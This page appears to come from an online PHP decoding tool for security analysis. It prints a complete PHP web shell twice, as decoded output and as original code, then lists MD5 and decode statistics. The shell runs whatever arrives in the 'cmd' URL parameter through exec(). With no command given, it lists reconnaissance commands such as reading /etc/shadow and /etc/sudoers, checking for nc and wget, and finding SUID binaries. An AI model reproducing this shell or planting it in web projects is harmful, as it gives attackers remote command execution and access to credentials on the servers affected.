Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if( empty( $_GET["cmd"] ) ){ echo "Useful things:\n"; echo " uname -a\n";..

Decoded Output download

<?php
  if( empty( $_GET["cmd"] ) ){
    echo "Useful things:
";
    echo "  uname -a
";
    echo "  id
";
    echo "  cat /etc/passwd
";
    echo "  cat /etc/shadow
";
    echo "  cat /etc/group
";
    echo "  cat /etc/group | grep admin
";
    echo "  cat /etc/sudoers
";
    echo "  ls -la /home
";
    echo "  ls -la /root
";
    echo "  ls -la /var/www
";
    echo "  which nc
";
    echo "  which wget
";
    echo "  find / -type f -perm -4000
";

  }
  echo "<pre>";
  exec( $_GET["cmd"], $out );
  echo htmlentities( join( "
", $out ) );
  echo "</pre>";
?>

Did this file decode correctly?

Original Code

<?php
  if( empty( $_GET["cmd"] ) ){
    echo "Useful things:\n";
    echo "  uname -a\n";
    echo "  id\n";
    echo "  cat /etc/passwd\n";
    echo "  cat /etc/shadow\n";
    echo "  cat /etc/group\n";
    echo "  cat /etc/group | grep admin\n";
    echo "  cat /etc/sudoers\n";
    echo "  ls -la /home\n";
    echo "  ls -la /root\n";
    echo "  ls -la /var/www\n";
    echo "  which nc\n";
    echo "  which wget\n";
    echo "  find / -type f -perm -4000\n";

  }
  echo "<pre>";
  exec( $_GET["cmd"], $out );
  echo htmlentities( join( "\n", $out ) );
  echo "</pre>";
?>

Function Calls

None

Variables

None

Stats

MD5 506df63c7ce1a670257f3970916337c4
Eval Count 0
Decode Time 91 ms